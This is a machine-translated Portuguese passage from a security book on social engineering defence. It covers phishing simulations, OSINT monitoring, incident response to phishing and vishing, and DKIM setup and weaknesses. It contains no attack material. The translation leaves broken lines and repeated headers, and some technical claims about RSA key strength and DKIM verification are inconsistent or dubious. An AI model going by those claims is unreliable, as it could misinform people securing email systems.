enquanto isso, a equipe de segurança está ocupada analisando todos os outros e-mails
encaminhados.
Aqui estão alguns prêmios gratuitos ou de baixo custo que você pode oferecer:

• 15 minutos de folga por denunciar um phishing único ou generalizado


e-mail

• Um vale-presente de US$ 10 da Amazon ou Starbucks

• Uma vaga de estacionamento por uma semana

• Participação em um sorteio de um grande prêmio


• Almoço grátis por uma semana

Fornecer qualquer coisa de valor percebido aos funcionários por fazerem um bom trabalho
trabalho ajudará a reforçar o bom comportamento que você busca. Isso é um pouco de engenharia
social em si, mas visa trazer resultados positivos para os funcionários e para a organização.

Executando campanhas de phishing

Embora controversa, a execução de campanhas de phishing como parte de seus esforços de


treinamento pode expor seus funcionários de forma confiável a tentativas de phishing realistas e permitir
que você teste a resposta da organização como um todo.
A primeira decisão que você deve tomar depois de decidir simular uma campanha de phishing
é conduzir os compromissos internamente ou contratar terceiros para fazê-lo. Para escolher a melhor
opção para sua empresa, pergunte-se com que frequência você planeja realizar esses compromissos
e qual é o seu orçamento. Se terceirizados, os compromissos de phishing podem levar de 4 a 24
horas de trabalho faturável por compromisso, dependendo do SOW, do escopo e da complexidade
que você deseja. Se preferir testar internamente, você deve descobrir quem conduzirá o trabalho,
quais são suas outras funções e qual impacto na sua postura de segurança o tempo de ausência terá.
Se você tiver orçamento para adquirir um serviço de simulação de phishing de uma empresa
que não seja de consultoria, como Proofpoint, Cofense ou KnowBe4, você também poderá seguir esse
caminho.

Reputação e monitoramento OSINT


O monitoramento OSINT proativo é tão essencial quanto a engenharia social proativa. O monitoramento
OSINT, ou a prática de conduzir OSINT periodicamente em si mesmo ou em seus clientes, também
é às vezes chamado de marca e reputação

140 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

monitoramento ou monitoramento da dark web. O benefício do monitoramento OSINT,


em qualquer forma ou sabor, é que ele permite que a organização veja o que os invasores
em potencial podem ver. Isto permite que a organização atue de forma adequada, antes
de um ataque, seja removendo os dados, se possível, aumentando a monitorização ou
implementando desinformação ou fraude.
Como o OSINT é amplamente passivo, não é possível executar simulações para
condicionar os usuários de forma a impedir que invasores coletem o OSINT. Existem
poucas oportunidades de detecção. Em muitos casos, o OSINT pode vir de contas de
usuários, e a organização não pode forçar um usuário a remover algo das redes
sociais, a menos que isso interfira na propriedade intelectual por meio da Lei de Direitos
Autorais do Milênio Digital (DMCA) ou algum outro critério legal.

Implementando um Programa de Monitoramento

Ao implementar um programa de monitoramento OSINT, concentre-se em encontrar


informações que possam representar riscos para o negócio. Não use isso como meio de
espionar ou bisbilhotar a vida pessoal dos funcionários. Uma maneira fácil de garantir que
seus testes permaneçam éticos é terceirizar o monitoramento OSINT (discutido em
“Terceirização” na página XX).
Se a sua organização decidir implementar seu próprio OSINT e programa de
monitoramento de reputação, ela terá que decidir os parâmetros dentro dos quais
operará. Ao fazer isso, deve definir o que testar, quando testar e como testar. Como os
funcionários podem postar qualquer coisa a qualquer momento, fazer testes mensais ou
trimestrais é uma boa prática. Caso contrário, muitas das considerações necessárias
para configurar uma campanha de phishing também se aplicam aqui. Os testes serão
automatizados ou manuais? Qual é o seu orçamento? Quão profundo se espera que seja
o envolvimento? Qual é o escopo? Como você garantirá que respeitará a privacidade
e a liberdade de seus funcionários para postar em suas mídias sociais?
Determinar a quantidade de testes manuais a serem realizados orientará a
conversa sobre o orçamento. Ter alguém procurando ativamente por OSINT sobre uma
organização exige o pagamento do investigador (e possivelmente do empregador do
investigador). O código automatizado não exige isso, mas o proprietário do código pode
cobrar uma taxa pela utilização do serviço.
Defina um escopo semelhante ao usado para trabalhos de engenharia social. Isto
é essencial para evitar violar a privacidade dos seus funcionários. Embora a organização
deva se preocupar com o que fornecedores, funcionários, prestadores de serviços,
visitantes e parceiros postam publicamente, evite procurar conteúdo compartilhado de
forma privada ou entre amigos. Não force os funcionários a se conectarem com você
nas redes sociais nem tente entrar na lista de amigos deles usando contas falsas.

Terceirização

Pela minha experiência, geralmente é melhor que terceiros cuidem do OSINT e


do monitoramento da reputação. Quando terceiros coletam OSINT de seus funcionários,
você pode aliviar as preocupações de que a organização espione os funcionários.
Também mantém a equipe de segurança da sua organização longe de contas pessoais
pertencentes a outros funcionários, o que reduz a chance

Técnicas de Defesa Proativa 141


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

de acusações de perseguição ou assédio. Finalmente, evita que abusos reais ocorram


sob a bandeira da segurança.
Além de evitar reclamações de assédio, fazer com que terceiros conduzam
O monitoramento OSINT permite que os investigadores operem com viés mínimo.
É mais provável que atuem como uma peneira em vez de uma bomba, o que significa
que filtram as informações estranhas, irrelevantes para a segurança, muitas vezes
usando scanners automatizados da web com pouca ou nenhuma intenção maliciosa, e
fornecem à organização apenas informações relevantes.

Resposta a Incidentes

A resposta a incidentes é o conjunto de ações predefinidas que uma organização


tomará se um evento adverso atender aos critérios que o classificam como um incidente.
Parte da preparação é pensar no que pode acontecer se a engenharia social for bem-
sucedida. O restante é estudar como seus sistemas interagem para que você possa
tomar medidas para evitar impactos generalizados ou catastróficos. Conforme afirmado
anteriormente neste livro, o momento de decidir quais ações tomar não é durante uma
campanha ativa de engenharia social.

O Processo de Resposta a Incidentes SANS

O SANS Institute, uma organização de pesquisa e educação em segurança, define


um processo coeso de resposta a incidentes que inclui as seguintes etapas:
preparação, identificação, contenção, erradicação, recuperação e lições aprendidas
(Figura 10-1). Também conhecido como PICERL, esse padrão de resposta a incidentes
leva em consideração todo o ciclo de vida de um incidente, começando antes de ser
classificado e terminando após sua resolução. Em cada estágio, você define as etapas
necessárias para minimizar o impacto do ataque, restaurar os serviços o mais rápido
possível e corrigir a causa raiz do evento.
Na fase de preparação – que muitas vezes surge das lições aprendidas
fase que se segue a um incidente – você antecipa incidentes futuros executando
programas de conscientização, realizando simulações de phishing e monitorando seu
OSINT.
A fase de identificação começa no momento em que a organização toma
conhecimento de um evento que a organização classifica como um incidente. Num
contexto de engenharia social, o seguinte poderia desencadear esta fase: um
usuário relatando ter clicado em um phishing; um usuário relatando que forneceu
informações ou acesso a um chamador por telefone; um alerta sobre ransomware
proveniente de ferramentas de prevenção de malware; logs de servidor que indicam
spidering, acesso excepcionalmente alto ou downloads de arquivos públicos; quaisquer
e-mails recebidos em um endereço de e-mail honesto (que não tem outra finalidade
senão ser descoberto por ferramentas de spidering); alertas de e-mail suspeitos de
software de filtragem de e-mail como Proofpoint ou Mimecast; ou alertas personalizados
baseados em inteligência de ameaças internas e externas.

142 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Lições Preparação
aprendido

Recuperação Identificação

Erradicação Contenção

Figura 10-1: O processo de resposta a incidentes SANS

Depois de identificar e classificar um incidente, você entra na fase de contenção , na


qual toma medidas para garantir que a ameaça não possa se espalhar ainda mais.
Quando se trata de engenharia social, a ação de contenção pode incluir o afundamento
de um domínio ou a remoção de um e-mail do servidor e da fila de e-mail. Você também
pode bloquear diretamente o acesso de um domínio, endereço IP ou endereço de e-
mail na rede e nos sistemas da organização.
Finalmente, você pode isolar um sistema de computador do resto da rede ou colocá-lo em
uma sandbox, forçar uma redefinição de senha de usuário ou até mesmo desativar contas
de usuários afetadas. Depois de realizar uma ação, você deve enviar um e-mail em
massa aos usuários para evitar que sejam vítimas.
Na fase de erradicação você resolve o problema. Você remove qualquer malware
que tenha sido instalado. Você analisa a causa raiz do incidente e começa a identificar
ações para ajudá-lo na recuperação. A menos que haja malware envolvido, esta é
geralmente uma fase muito curta.
Na fase de recuperação , você toma todas as ações necessárias para se recuperar
totalmente do incidente. Isso pode significar reativar contas de usuários, alterar
configurações de rede para remover sandboxes ou outras segregações implementadas
como resultado de atividades maliciosas e reverter alterações feitas pelo ator mal-
intencionado.

Técnicas de Defesa Proativa 143


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois que tudo voltar ao normal, a fase de lições aprendidas é quando você
analise a causa raiz do incidente para determinar as lacunas existentes em seu
conhecimento e execução. Em seguida, você corrigirá essas lacunas como parte da fase
de preparação. Este é o momento de ser introspectivo e decidir o que poderia ter sido
feito melhor.

Respondendo ao Phishing
Agora que você entende os fundamentos da resposta a incidentes, precisa definir o
que os usuários devem fazer caso sejam vítimas de vários tipos de ataques de engenharia
social. Vamos começar com phishing. Um e-mail de phishing que contenha links ou
arquivos pode permitir que um invasor obtenha acesso aos seus sistemas.
O seu objectivo, então, deveria ser acelerar a contenção e a erradicação.
Uma dica para possibilitar respostas rápidas é escolher uma única cor diferente do
preto para todos os cabos de rede. Isso permitirá que você instrua os funcionários a
desconectar o cabo colorido da parte traseira do computador ou da parede.
Tenha em mente que os sistemas ainda podem estar conectados à rede sem fio e você
também deve definir o comportamento para desconectar dispositivos sem fio.
Peça aos usuários que relatem o horário aproximado em que o incidente
ocorreu. Esse detalhe ajuda a equipe de segurança a localizar os registros que devem
examinar, em vez de deixá-los sem pistas sobre onde procurar.
Ao serem vítimas do ataque, os usuários devem sair, bloquear a tela, desligar, desconectar
da rede ou hibernar o sistema. As ações que um usuário deve realizar dependem das
capacidades da organização e da sua resposta potencial a um determinado incidente. Por
exemplo, se não ocorrer nenhuma análise forense, não há razão para hibernar o sistema.
Alternativamente, se a organização for reconstruir o sistema a partir de mídias boas e
conhecidas, a ação correta pode ser simplesmente desligar o sistema depois de coletar os
dados.
artefatos.
O usuário também deve informar o endereço de e-mail ou site de origem do phishing,
quaisquer janelas e aplicativos que estavam abertos e se algo incomum aconteceu na tela.

Você deve imprimir essas diretrizes, plastificá-las e colocá-las no espaço de trabalho


físico de cada usuário. A qualquer momento, um usuário deve ser capaz de consultar a
planilha e executar as ações necessárias.

Respondendo a Vishing
Embora semelhante ao phishing, o vishing apresenta desafios únicos. Na ausência de
monitorização de todas as chamadas telefónicas, a capacidade de identificar e agir de
acordo com as chamadas vishing depende do facto de o pessoal as reportar, bem como
de conhecer antecipadamente as ações a tomar. Nenhum sistema de detecção de intrusão
(IDSs) ou SEIMs difundido ou preciso abrange chamadas telefônicas. As empresas podem
monitorar o tráfego de Internet de qualquer telefone conectado à rede Wi-Fi corporativa,
mas não as chamadas telefônicas comuns ou seu contexto. Felizmente, um invasor não pode
(imediatamente) fazer login e assumir o controle de uma rede a partir de uma chamada telefônica.
Mesmo que alguém que esteja vishing obtenha informações, os controles técnicos podem
impedi-lo de causar mais danos. Independentemente disso, você deve definir ações
para responder às tentativas de vishing.

144 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Primeiro, ao perceber que estão sofrendo um ataque de vishing, os usuários


devem desligar, pedir para ligar de volta, tentar obter informações do chamador ou
mentir para confundi-lo. A gestão da segurança dentro da organização precisará decidir
quais ações treinar os funcionários para executar. Um nível de risco está associado ao
encorajamento dos usuários a solicitar informações ou mentir; o usuário pode fornecer
informações valiosas e precisas inadvertidamente. Os usuários devem então entrar
em contato com a segurança da informação e fornecer o horário aproximado em
que o incidente ocorreu, quaisquer ações que tomaram, o número de telefone que ligou
para eles, as informações que foram solicitadas e as informações que forneceram. Eles
também devem fornecer informações adicionais sobre o chamador, como sotaque,
dialeto, tom ou humor, ou a presença de ruídos de fundo.

Respondendo à coleção OSINT

Detectar a coleção OSINT é difícil, porque plataformas como Shodan, Censys e


Have I Been Pwned não permitem definir alertas automaticamente em consultas,
embora você possa escrever seu próprio código para definir alertas sempre que os ativos
da organização aparecerem nessas plataformas. O Have I Been Pwned permite que
organizações que possam demonstrar a propriedade de um domínio configurem tais
alertas, mas não compartilharão quaisquer credenciais violadas pertencentes a
contas no domínio. Mas como a coleta OSINT normalmente ocorre na fase de
reconhecimento de um envolvimento de hacking ético, é comum vê-la ocorrer juntamente
com a varredura e a enumeração, que são detectáveis.
A primeira camada de detecção está em um CDN como Cloudflare ou
Amazon CloudFront, se usado. A próxima camada está nos logs do servidor web ou
nos logs de aplicativos dos aplicativos web. Essas fontes educarão a organização sobre
quem está verificando e o que está sendo verificado. Freqüentemente, faltará o
contexto necessário para diferenciar entre a varredura da Web em massa e um
adversário real que tenta coletar OSINT ou trabalha por meio de varredura e enumeração.

Decida quais ações você deve bloquear. Os exemplos podem incluir o bloqueio de
usuários após um certo número de erros 404 causados por spidering; bloquear ou limitar
a taxa de spidering a um certo número de eventos por segundo; bloquear qualquer
pessoa que baixe um determinado número de arquivos públicos, usando uma string
específica de agente de usuário no navegador ou script; e bloquear usuários que
navegam para uma página mel.

Lidando com a atenção da mídia

Dependendo da gravidade do ataque, da publicidade que recebe e de outros eventos


que acontecem no ciclo noticioso, a mídia pode tentar falar com pessoas da sua
organização durante um incidente. Embora fazer isso não deva ser sua principal
prioridade, deixar de responder às perguntas da mídia pode enviar uma mensagem pior
do que se você simplesmente admitir que não conhece todos os detalhes neste
momento. Embora a mídia deva entrar em contato com a equipe de relações públicas
da organização, alguns podem tentar contatar e entrevistar qualquer funcionário.
Para controlar a mensagem transmitida ao público, imponha um bloqueio de mídia
a todos os funcionários, exceto aqueles definidos na sua resposta ao incidente

Técnicas de Defesa Proativa 145


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

plano. Forneça aos funcionários não autorizados um modelo de resposta para lidar com
tais dúvidas. Isto pode ser uma declaração tão simples como “Não estou autorizado a
discutir os detalhes do assunto da sua solicitação” ou um redirecionamento para o
representante de mídia designado na empresa.
As partes autorizadas a falar com a mídia devem compreender
que tom adotar, como recusar responder e com quem falar para saber os factos que irão
partilhar com os jornalistas. Defina também uma pessoa ou comitê para revisar e aprovar
quaisquer mensagens que o relações públicas fornecerá à mídia.

Também recomendo fortemente consultar a equipe interna de RP da sua organização


e quaisquer consultores externos de RP que sua organização utiliza. Eles poderão falar sobre
as políticas e procedimentos específicos da sua organização, enquanto eu falo em termos
mais gerais.

Como os usuários devem relatar incidentes

Se você não informar aos usuários como eles devem relatar suspeitas de incidentes, eles
poderão bombardear um guarda do portão que não tem meios de resolver o problema.
Uma estratégia é criar um phishing@organization.com endereço de e-mail para coletar os e-
mails de phishing que os usuários recebem. Você também pode configurar cyber@organization.com
ou incidentes@organization.com como endereços genéricos que encaminham e-mails para
as partes apropriadas.
Quando um usuário é vítima de um phishing e pode ter introduzido malware no ambiente,
reportar por e-mail pode não ser a melhor abordagem.
Isso ocorre porque é possível que todo o sistema de e-mail tenha sido comprometido e que
invasores possam ler, bloquear ou alterar a mensagem. Dependendo do tamanho da
organização e se o usuário está no local ou remoto, você pode direcionar os usuários para
relatar o incidente pessoalmente, ligar para um número de telefone ou enviar uma
mensagem usando chat privado ou uma plataforma de mensagens de texto segura como o
Signal. , Wickr ou Fio.

Controles Técnicos e Contenção


Ao identificar um e-mail de phishing, a equipe de segurança deve coletar o e-mail e
quaisquer informações relevantes sobre ele, ao mesmo tempo em que segue as políticas
e procedimentos organizacionais. Isto renderá dividendos na produção de inteligência
sobre ameaças, o que pode ser necessário dependendo do setor em que a organização
atua e se ela pertence a algum Centro de Análise e Compartilhamento de Informações
(ISACs).
No próprio e-mail, você deve coletar o endereço de e-mail de origem, detalhes
sobre se o endereço de e-mail foi falsificado (discutido no Capítulo 12) e o endereço IP de
origem. Você também deve bloquear os endereços de origem e verificar os logs para ver
se algum outro usuário ou host se comunicou com os endereços de origem. Para analisar
melhor o ataque, use as ferramentas discutidas no Capítulo 12.

Se o esquema de phishing envolver um arquivo malicioso, você poderá carregá-lo no


site de detecção de malware VirusTotal para obter uma resposta rápida sobre o conteúdo do
arquivo, presumindo que seja um malware conhecido. Além disso, faça uma criptografia

146 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

hash do arquivo e verifique os sistemas na rede em busca de arquivos que produzam o mesmo hash.
Ajuste o SEIM para alertá-lo sobre as instâncias recebidas deste arquivo também.

Colete quaisquer endereços IP ou URLs associados ao e-mail de phishing


para redirecionar os usuários para uma página benigna e configurar alertas nas estações de
trabalho para aqueles que tentarem acessar o site malicioso. Assim que o e-mail for bloqueado, a
equipe de segurança poderá entrar em contato com todos os usuários, aconselhando-os a evitar o e-mail.
Quando o incidente estiver na fase de recuperação, faça a transição das informações coletadas
para inteligência sobre ameaças e siga as orientações da organização sobre publicação e distribuição.

Conclusão
Parte de manter sua organização segura é manter os usuários informados, conscientes e alertas.
Ao aplicar uma política não punitiva juntamente com incentivos ao comportamento positivo para
reforçar as ações desejadas, você pode melhorar drasticamente a postura de segurança da sua
organização e, ao mesmo tempo, capacitar os funcionários para tomarem boas decisões. Depois que
os usuários forem treinados, souberem o que procurar e entenderem o que fazer quando forem
vítimas de ataques de engenharia social, é hora de envolvê-los usando testadores internos ou
externos para medir sua adesão às orientações da organização.

Mesmo depois de treinar os usuários, ainda é necessário testá-los via phishing


simulações e monitoramento OSINT. Às vezes, as pessoas desejam compartilhar publicamente
ocasiões como promoções, seu último dia de trabalho ou seu primeiro dia de trabalho – e, como
discutido no Capítulo 5, elas não pensam em outras informações que estão incluindo no
enquadramento de suas fotos. . Da mesma forma, as pessoas desejam compartilhar sua experiência
de trabalho para que possam demonstrar suas competências aos gerentes de contratação, mas isso
torna os detalhes técnicos listados em seus currículos pesquisáveis.

Integrar seu treinamento ao processo de resposta a incidentes é um aspecto crucial da


defesa contra a engenharia social. Os programas de conscientização ajudam a organização a
evitar a necessidade de resposta a incidentes em primeiro lugar, mas também devem ajudar o
processo de resposta a incidentes a funcionar de maneira mais tranquila nos casos em que os
usuários são vítimas.
Dizer explicitamente aos usuários o que fazer se eles forem vítimas de engenharia social
também melhora drasticamente a postura de segurança da organização. Se pessoas não técnicas
forem deixadas à própria sorte e solicitadas a realizar ações técnicas sem orientação, é provável
que ignorem o problema ou tentem encobri-lo. Definir etapas que os usuários e a equipe de
segurança devem seguir quando algo der errado poupará muitas dores de cabeça à organização e
permitirá que ela se concentre na restauração.

Técnicas de Defesa Proativa 147


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

11
CONTROLES TÉCNICOS DE E-MAIL

Até agora, realizamos ataques de phishing e


aprendemos como treinar os usuários para perceberem
eles. Também discutimos como reagir quando as
pessoas são vítimas de engenharia social, apesar do
nosso treinamento. Este capítulo aborda a implementação de
controles técnicos de e-mail para ajudar a fornecer uma rede de
segurança para a organização e eliminar parte dessa carga do
usuário.
Além disso, discutiremos dispositivos e serviços de e-mail que podem filtrar e gerenciar e-mails.
Mas antes de entrarmos nisso, vamos dar uma olhada nos padrões reais associados ao lado técnico
dos controles de e-mail.

Padrões
À medida que o e-mail evoluiu, também evoluíram as tecnologias para protegê-lo. E à medida que
essas tecnologias evoluíram, também evoluíram os padrões de ataque, tornando-se, como acontece com
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

qualquer coisa na área de segurança da informação, um jogo contínuo de gato e


rato. Ao longo do tempo, os profissionais de segurança propuseram, debateram
e aprovaram uma variedade de padrões. Quando se trata de proteger e-mail, existem
três principais: Domain Keys Identified Mail (DKIM), Sender Policy Framework (SPF) e
Domain-based Message Authentication, Reporting, and Conformance (DMARC).
Discutiremos cada um deles nesta seção.
O que esses três padrões fazem? Um equívoco comum é que eles protegem
seus e-mails contra tentativas de phishing ou falsificação. Até certo ponto, sim, mas é
mais correto descrevê-los como protetores de sua reputação: se você enviar um e-mail
com esses padrões implementados e o domínio do destinatário estiver configurado para
verificar os registros associados, eles poderão detectar tentativas de falsificação de
seu domínio. Embora isso possa parecer contra-intuitivo e improdutivo, acompanhe
o restante deste capítulo para ver como isso pode ajudá-lo.

Resumindo, o SPF verifica se um host ou endereço IP está na lista do remetente,


O DKIM envia assinatura digital e o DMARC implementa SPF e DKIM, além de
verificar o alinhamento. O DMARC também estabelece relatórios. O SPF é considerado
o mais baixo dos padrões de segurança. A ressalva é que o destinatário deve ter
seus servidores de e-mail configurados para verificar a orientação do remetente em
relação aos padrões e então realmente executar as ações.

Campos “De”

Para entender como esses padrões funcionam, você precisa entender os vários tipos
de campos De em um email. Além de um campo Responder para , os e-mails têm De
e MailFrom. O campo De , também denominado 5322.From, exibe o remetente. O
campo MailFrom , ou 5321.MailFrom, é o serviço real que enviou o email. Por exemplo,
se eu enviasse e-mails usando MailChimp, meu endereço de e-mail estaria no campo
5322.From, e o servidor e endereço do MailChimp estariam em 5321.
Campo MailFrom.
Os números anexados a esses campos vêm dos RFCs nos quais eles foram
definidos. Aqui está outra maneira fácil de pensar sobre isso: o campo 5321.MailFrom
é equivalente a um endereço de retorno em um envelope enviado pelo serviço postal,
enquanto o 5322. O campo De é equivalente a um endereço de retorno na parte
superior de uma carta contida no envelope.
Agora vamos abordar esses três padrões em ordem cronológica, começando com
o DKIM.

Correio identificado por chaves de domínio

O DKIM se tornou um padrão da Internet em 2011. Ele busca autenticar e-mails e


evitar falsificações, exigindo que os remetentes assinem criptograficamente partes
do e-mail, incluindo o campo 5322.From. Visto que um invasor provavelmente não terá
acesso à chave privada usada para assinar digitalmente o campo, os destinatários do
email podem identificar rapidamente tentativas de falsificação.
O cabeçalho DKIM, um campo incluído na mensagem de e-mail, especifica onde
para obter a chave pública que pode verificar a assinatura. A chave pública é
armazenada em um registro DNS TXT usando o domínio DNS (d=) e o seletor (s=)

150 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

tags que você pode encontrar na mensagem de e-mail. A chave pública DKIM é a única parte da
estrutura visível para a população em geral, mas encontrá-la depende de conhecer o seletor, o que
você só pode fazer se tiver recebido um e-mail do domínio (ou conseguir forçá-lo com força bruta).

O processo DKIM é o seguinte. Primeiro, você redige um e-mail. À medida que o email é
enviado, a chave privada associada à sua entrada DKIM cria duas assinaturas digitais que comprovam
a autenticidade do email. Uma assinatura é para o próprio cabeçalho DKIM e a outra é para o corpo
do e-mail.
Cada e-mail possui um par exclusivo de assinaturas. As assinaturas são colocadas no cabeçalho e
enviadas junto com o email. Depois de recebida, e se o servidor de e-mail do destinatário tiver o
DKIM configurado, o servidor verificará a autenticidade da mensagem usando a chave pública
publicada nos registros DNS. Se a chave conseguir descriptografar o e-mail com êxito, o e-mail é autêntico
e não foi alterado.

Dito isto, o DKIM não é frequentemente usado para autenticação. Em vez disso, nós principalmente
use-o para verificar a autenticidade e para algo chamado alinhamento DMARC, discutido em
“Autenticação, relatórios e conformidade de mensagens baseadas em domínio” na página XX. Uma das
deficiências do DKIM é que ele só será eficaz se tanto o remetente quanto o destinatário o
implementarem. Além disso, mesmo que sua organização implemente o DKIM internamente, ela poderá
proteger seus usuários apenas contra agentes externos que falsifiquem outros funcionários internos, o
que é bom para sua reputação, mas pouco contribui para alcançar a segurança.

Afinal, os atores podem falsificar um terceiro confiável. Mas, como mencionado anteriormente, o
destinatário deve ter seus servidores de e-mail configurados para verificar a autenticação DKIM, o que
normalmente é realizado através da implementação do DMARC. Na ausência do DMARC, as falhas
de autenticação ainda são repassadas ao destinatário.

O DKIM foi introduzido pela primeira vez na RFC 6376. Mais tarde, a RFC 8301 alterou-a com a
seguinte especificação em relação ao tipo de criptografia que o DKIM poderia usar:

Dois algoritmos são definidos por esta especificação neste momento: rsa-
sha1 e rsa-sha256. Os signatários DEVEM assinar usando rsa-sha256.
Os verificadores DEVEM ser capazes de verificar usando rsa-sha256. rsa-sha1 NÃO
DEVE ser usado para assinatura ou verificação.

Em 2018, foi lançada outra RFC que trata do DKIM; RFC 8463 adicionou um novo algoritmo
de assinatura, ed25519, que usa SHA-256 e algoritmo de assinatura digital de curva de Edwards (EdDSA)
no lugar de uma chave RSA.

Implementando DKIM

Para que o DKIM seja eficaz, você deve configurá-lo não apenas no servidor DNS, mas também no
servidor de e-mail. Caso contrário, funciona, na melhor das hipóteses, como um impedimento.
Vejamos como configurar o DKIM em um domínio hospedado pelo Google Workspace. Outros servidores
de e-mail possuem recursos semelhantes.
O Gmail normal usa as chaves DKIM padrão do Google, assim como os domínios hospedados
no Workspace que não possuem o DKIM configurado. Você não pode configurar seu próprio DKIM
para uma conta do Gmail hospedada em gmail.com, mas pode, por um

Controles Técnicos de E-mail 151


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

domínio usando o Workspace. De acordo com os documentos de suporte do Google, se


um usuário não configurar sua própria chave pública DKIM, o Google usará a seguinte
chave padrão: d=*.gappssmtp.com.
Vamos configurar nossa própria chave privada. Primeiro, navegue até o console
do administrador do Workspace como superadministrador. Quando estiver no console, clique
em Autenticar e-mail, conforme mostrado na Figura 11-1.

Figura 11-1: Selecionando a opção Autenticar email

Agora você deve ver a opção de autenticação DKIM e ser solicitado


para selecionar um domínio para configurar o DKIM para suporte (Figura 11-2).

Figura 11-2: Iniciando a configuração do DKIM

152 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois de selecionar Gerar Novo Registro, você precisará selecionar um comprimento


de chave e o seletor (Figura 11-3). Observe que alguns provedores de hospedagem e plataformas
DNS não suportam comprimentos de chave de 2.048 bits. De acordo com o Google, se for esse
o caso, o padrão é voltar para chaves de 1.024 bits.

Figura 11-3: Gerando o registro DKIM e a chave RSA

A partir daqui, selecione o domínio conforme apropriado e clique em Gerar novo


Registro. Isto criará a chave (censurada na Figura 11-4). Abra uma nova janela para copiar
e colar no DNS. Quando isso estiver concluído, clique em Iniciar autenticação.

Figura 11-4: Registro DKIM no Google Workspace

Após esta etapa, entre no cPanel, uma ferramenta comum de gerenciamento de


domínio usada por muitos provedores de hospedagem. O cPanel deve incluir um Editor de
Zona DNS, com uma caixa que permite inserir sua chave pública em um registro TXT (Figura 11-5).

Controles Técnicos de E-mail 153


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Observe que esses painéis podem limitar você a 255 caracteres: muito curto para
a chave de 2.048 bits recomendada pelos padrões do setor. (Quando isso aconteceu
comigo, entrei em contato com o suporte e pedi que inserissem manualmente as informações
em meu nome, o que eles fizeram com relutância.)
Depois de salvar a chave, a propagação do registro poderá levar até 48 horas. Você
precisará clicar em Iniciar autenticação no painel para verificá-la após a conclusão da
propagação. A propagação normalmente leva de 24 a 48 horas, mas às vezes até 72 horas,
dependendo da infraestrutura e do provedor.

Figura 11-4: Registro DKIM no Google Workspace

Figura 11-5: Adicionando um registro DNS TXT

Aqui está outra consideração importante, discutida mais detalhadamente no próximo


seção: você deve validar se seu provedor de hospedagem e DNS oferece suporte a
entradas DNS concatenadas antes de usar qualquer coisa acima de uma chave RSA de 1.024 bits.
Essencialmente, certos provedores impõem limites ao número de caracteres que podem ser
inseridos em uma única entrada no DNS. Sua implementação DMARC falhará no alinhamento
se o provedor não suportar a concatenação, pois o DNS irá interpretá-la como duas entradas
TXT não relacionadas e não conseguirá cumprir seu propósito.
Para configurar o DKIM em outros provedores de e-mail, como Exchange, Office
365 e Sendmail, você pode encontrar links para vários tutoriais em http:// email
security.seosint.xyz.

154 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Deficiências do DKIM

A criptografia usada no DKIM às vezes inclui vulnerabilidades. Até 2018, o DKIM permitia a utilização
do algoritmo SHA-1 para assinatura e verificação. No entanto, a comunidade de segurança sabe que
o SHA-1 é inseguro desde 2010, antes mesmo de o padrão DKIM ser criado. Desde então,
pesquisadores do CWI Amsterdam e do Google realizaram com sucesso um ataque de colisão
ao protocolo, momento em que a maioria das partes nas comunidades de criptografia e segurança o
descontinuaram. O ataque de colisão permitiu que as partes pegassem hashes de dois arquivos que
não correspondiam e produzissem o mesmo hash deles, fazendo parecer que correspondiam. Todos
os principais fornecedores de navegadores anunciaram que deixariam de aceitar certificados SHA-1
em 2017.

É verdade que criar uma colisão no local preciso dentro do processo de operações
DKIM ainda exigiria muito poder computacional, de modo que apenas organizações
sofisticadas e bem financiadas, como estados-nação ou grandes empresas de
tecnologia, poderiam ter a capacidade de realizar tal ataque. Afinal, o Google foi uma
das duas partes que produziu a colisão SHA-1 (e é improvável que o Google tente
enviar e-mails não autorizados para sua organização). Mas se você tiver autonomia para
isso, use o SHA-256, mais seguro.

Em segundo lugar, existem vulnerabilidades no RSA, usado como infraestrutura de chave pública
tura do padrão DKIM. Como mencionei anteriormente, a ferramenta DKIM do Google oferece
suporte a dois RSAs de 1.024 e 2.048 bits. O RSA de 2.048 bits é o padrão mínimo atual do setor. Há
um debate significativo sobre se o RSA é seguro, dados os avanços matemáticos, computacionais e
criptográficos desde a introdução do RSA. Vários acadêmicos e pesquisadores afirmaram ser
capazes de quebrar o RSA ou reduzir o sistema criptográfico RSA. Reduzir o criptossistema é um

método para enfraquecer sua força, identificando grandes números primos usados e fatorando.

Usar RSA de 1.024 bits é certamente uma vulnerabilidade no papel, enquanto usar RSA de
2.048 bits é desencorajado, mas não proibido. Pragmaticamente, sem enormes recursos
computacionais ou acesso a instalações de computação quântica, nem o RSA de 1.024 nem o de
2.048 bits podem ser quebrados em menos de dois milhões de anos num único sistema. Versões
posteriores do DKIM adicionaram Ed25519-SHA256 como algoritmo aceito, embora não tenha sido
amplamente adotado.
A fraqueza final do DKIM não é uma vulnerabilidade, mas sim uma deficiência. O DKIM é
excelente para implementar e pode proteger a reputação de uma organização – mas apenas se o
servidor de e-mail do destinatário estiver configurado para verificar a assinatura DKIM e tomar
medidas contra e-mails que alegam vir de um domínio com DKIM habilitado; caso contrário, a reputação
da sua organização ainda poderá ser prejudicada.

Estrutura de política do remetente

Assim como o DKIM, o Sender Policy Framework (SPF) busca evitar a falsificação usando registros
DNS TXT. Nestes registros TXT, o SPF define os domínios, listas de hosts, domínios e endereços
IP e endereços IP com permissão para enviar emails de dentro de um ambiente de email ou em nome
de um domínio.

Controles Técnicos de E-mail 155


